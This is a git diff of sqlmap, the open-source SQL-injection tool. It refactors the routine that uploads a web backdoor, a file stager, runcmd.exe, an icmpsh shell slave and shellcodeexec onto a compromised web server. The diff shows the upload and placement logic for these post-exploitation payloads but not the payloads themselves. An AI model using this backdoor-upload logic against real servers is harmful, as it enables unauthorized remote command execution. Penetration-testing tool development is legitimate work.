diff --git a/lib/controller/checks.py b/lib/controller/checks.py index abc6c0ebe..e83904e69 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -12,7 +12,6 @@ import re import socket import time -from subprocess import PIPE from subprocess import Popen as execute from extra.beep.beep import beep diff --git a/lib/core/common.py b/lib/core/common.py index 393e89513..d6e2fd9ad 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -38,7 +38,6 @@ from subprocess import Popen as execute from xml.dom import minidom from xml.sax import parse -from extra.cloak.cloak import decloak from extra.safe2bin.safe2bin import safecharencode from lib.core.bigarray import BigArray from lib.core.data import conf @@ -1416,14 +1415,6 @@ def showStaticWords(firstPage, secondPage): logger.info(infoMsg) -def decloakToNamedStream(filepath, name=None): - class _(StringIO): - __len__ = property(lambda self: self.len) - retVal = _(decloak(filepath)) - retVal.name = name - - return retVal - def isWindowsPath(filepath): """ Returns True if given filepath is in Windows format diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index d5e0502c6..b811c82e6 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -77,7 +77,7 @@ class ICMPsh: logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) if web: - self.webFileUpload(self.__icmpslave, self._icmpslaveRemote, self.webDirectory) + self.webUpload(self._icmpslaveRemote, self.webDirectory, filepath=self.__icmpslave) else: self.writeFile(self.__icmpslave, self._icmpslaveRemote, "binary") diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 3922cee95..4f874ccfc 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -545,9 +545,7 @@ class Metasploit: else: self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch() - # TODO: until web.py's __webFileStreamUpload() method does not consider the destFileName - #__basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") - __basename = os.path.basename(self.shellcodeexecLocal) + __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") if web: self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename) @@ -559,7 +557,7 @@ class Metasploit: logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: - self.webFileUpload(self.shellcodeexecLocal, self.shellcodeexecRemote, self.webDirectory) + self.webUpload(self.shellcodeexecRemote, self.webDirectory, filepath=self.shellcodeexecLocal) else: self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary") diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 52a716c64..96b44e9b1 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -5,10 +5,10 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -import codecs import os import posixpath import re +import StringIO from tempfile import mkstemp @@ -16,7 +16,6 @@ from extra.cloak.cloak import decloak from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend -from lib.core.common import decloakToNamedStream from lib.core.common import extractRegexResult from lib.core.common import getDirs from lib.core.common import getDocRoot @@ -82,16 +81,25 @@ class Web: return output - def webFileUpload(self, fileToUpload, destFileName, directory): - inputFP = codecs.open(fileToUpload, "rb") - retVal = self._webFileStreamUpload(inputFP, destFileName, directory) - inputFP.close() - - return retVal + def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None): + if filepath is not None: + if filepath.endswith('_'): + content = decloak(filepath) # cloaked file + else: + with open(filepath, "rb") as f: + content = f.read() + if content is not None: + stream = StringIO.StringIO(content) # string content + return self._webFileStreamUpload(stream, destFileName, directory) def _webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # Rewind + try: + setattr(stream, "name", destFileName) + except TypeError: + pass + if self.webApi in getPublicTypeMembers(WEB_API, True): multipartParams = { "upload": "1", @@ -156,10 +164,7 @@ class Web: break if not default: - if Backend.isOs(OS.WINDOWS): - default = WEB_API.ASP - else: - default = WEB_API.PHP + default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" @@ -190,8 +195,7 @@ class Web: directories = sorted(getDirs()) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) - backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) - originalBackdoorContent = backdoorContent = backdoorStream.read() + backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) @@ -291,8 +295,6 @@ class Web: logger.info(infoMsg) if self.webApi == WEB_API.ASP: - runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) - runcmdStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: @@ -300,21 +302,16 @@ class Web: else: continue - backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) - backdoorStream.truncate() - backdoorStream.read() - backdoorStream.seek(0) - backdoorStream.write(backdoorContent) - - if self._webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): - self._webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) + _ = "tmpe%s.exe" % randomStr(lowercase=True) + if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): + self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_')) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: - if not self._webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath): + if not self.webUpload(backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index 790f89cda..b3ea1eebd 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -87,7 +87,7 @@ class MultipartPostHandler(urllib2.BaseHandler): for (key, fd) in files: file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len - filename = fd.name.split('/')[-1] + filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1] contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' buf += '--%s\r\n' % boundary buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)